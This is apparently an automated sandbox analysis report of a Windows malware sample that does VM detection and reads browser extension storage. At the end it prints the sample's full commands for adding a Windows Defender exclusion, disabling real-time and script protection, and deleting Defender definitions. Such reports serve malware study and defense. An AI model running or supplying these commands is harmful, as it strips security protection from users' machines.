              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6890Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1175Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7005Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1251Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3061
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1229
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3359
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 521
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51442\python313.dllJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51442\select.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51442\_ctypes.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51442\_lzma.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51442\_queue.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51442\_ssl.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51442\_bz2.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51442\_sqlite3.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51442\_socket.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51442\unicodedata.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51442\_hashlib.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI51442\_decimal.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_0-17268
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeAPI coverage: 4.9 %
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3460Thread sleep count: 6890 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5712Thread sleep count: 1175 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7324Thread sleep time: -6456360425798339s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1020Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5936Thread sleep count: 7005 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1008Thread sleep count: 1251 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7264Thread sleep time: -11990383647911201s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3248Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7996Thread sleep count: 3061 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7984Thread sleep count: 1229 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8032Thread sleep time: -1844674407370954s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7968Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1016Thread sleep count: 3359 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1088Thread sleep time: -1844674407370954s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5644Thread sleep count: 521 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4836Thread sleep time: -1844674407370954s >= -30000s
              Source: C:\Windows\System32\wbem\WMIC.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
              Source: C:\Windows\System32\wbem\WMIC.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0592F0 FindFirstFileExW,FindClose,0_2_00007FF79D0592F0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0583B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00007FF79D0583B0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0718E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_00007FF79D0718E4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0592F0 FindFirstFileExW,FindClose,2_2_00007FF79D0592F0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0718E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,2_2_00007FF79D0718E4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0583B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,2_2_00007FF79D0583B0
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2246EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,18_2_00007FF68A2246EC
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A21E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,18_2_00007FF68A21E21C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2688E0 FindFirstFileExA,18_2_00007FF68A2688E0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940E1230 GetSystemInfo,2_2_00007FFD940E1230
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\Jump to behavior
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vboxtray
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: qemu-ga
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vboxservice
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmware
              Source: powershell.exe, 00000008.00000002.2220716409.0000023E634F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2197289042.0000023E53576000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: hGfS>
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: f04vmware
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: )f7vmsrvc
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmwareuser
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmusrvc
              Source: riFSkYVMKB.exe, 00000002.00000002.2276963330.000001CF44380000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: riFSkYVMKB.exe, 00000002.00000003.2273490194.000001CF45485000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 2EQvW8S382ZMJYjBW++Y1oatCZgYUqKp9u6TaNSIF2TEDvtQNfQGaUsS7L0JVKfbZGyWA+S5rE3OIx9oWGlORaMqS90h6xgIArp0pvuywtTd7hyCA1zsj5AzYXmAOlYkuN5JpKphnYFwV7y48/ITdP4M/PSOAzJ/HkaLJcsjdjnhQbDyaoUAa+FMRwoWhJBvMnzeLkMaVCYG1NaWHN/aSrkxVjgiuRb9tsS8Q4WhQcbkim7iMoyOZgJl5OYrQOnOTSVgGNwOB/E3uIC6RH4THKNpfamWGBHPLBt6Lhm3xM34g7ygXlCorNUKYPh8ZZ5braau967FwbeO5o1pHIsdubrKoaNNYEeMvcDymdblm2CC0Q5VXMkOQgYohlMadka/PhNe/MD3YKpEXhNQ4LhdYiADEA6OJjsMUXFJKIDUh4dyJpiEbehY8xIhAvThNKKRcv0Q3mFBaMYnhF4fO1h6ZMFsw1XStckRVu+LYDkoBAWriOp3mrhmjo9a+gZHWRMVWxqhmGkwPDYyjKMCw0Og3WVeEka+xsvn29TtmTfWbTJ0IYJkyXVZTogEvk0Ug/cTvdVBjxCPm0bNBY/sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arGVNjsQrU1hANJXXgrvFAvKP9iwWKe4wjrnP
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmsrvc
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmtoolsd
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: d2qemu-ga
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmwaretray
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: 4f01vmusrvc
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: vmwareservice
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D06A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF79D06A684
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD939A0350 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,2_2_00007FFD939A0350
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0734F0 GetProcessHeap,0_2_00007FF79D0734F0
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\System32\tasklist.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\tasklist.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D06A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF79D06A684
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D05C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00007FF79D05C910
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D05D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF79D05D19C
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D05D37C SetUnhandledExceptionFilter,0_2_00007FF79D05D37C
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D06A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_00007FF79D06A684
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D05C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,2_2_00007FF79D05C910
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D05D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_00007FF79D05D19C
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D05D37C SetUnhandledExceptionFilter,2_2_00007FF79D05D37C
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD938F3248 IsProcessorFeaturePresent,00007FFDA4171A90,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFDA4171A90,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_00007FFD938F3248
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A264C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,18_2_00007FF68A264C10
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A25B52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,18_2_00007FF68A25B52C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A25A66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,18_2_00007FF68A25A66C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A25B6D8 SetUnhandledExceptionFilter,18_2_00007FF68A25B6D8

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Adds a directory exclusion to Windows Defender
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'Jump to behavior
              Modifies Windows Defender protection settings
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
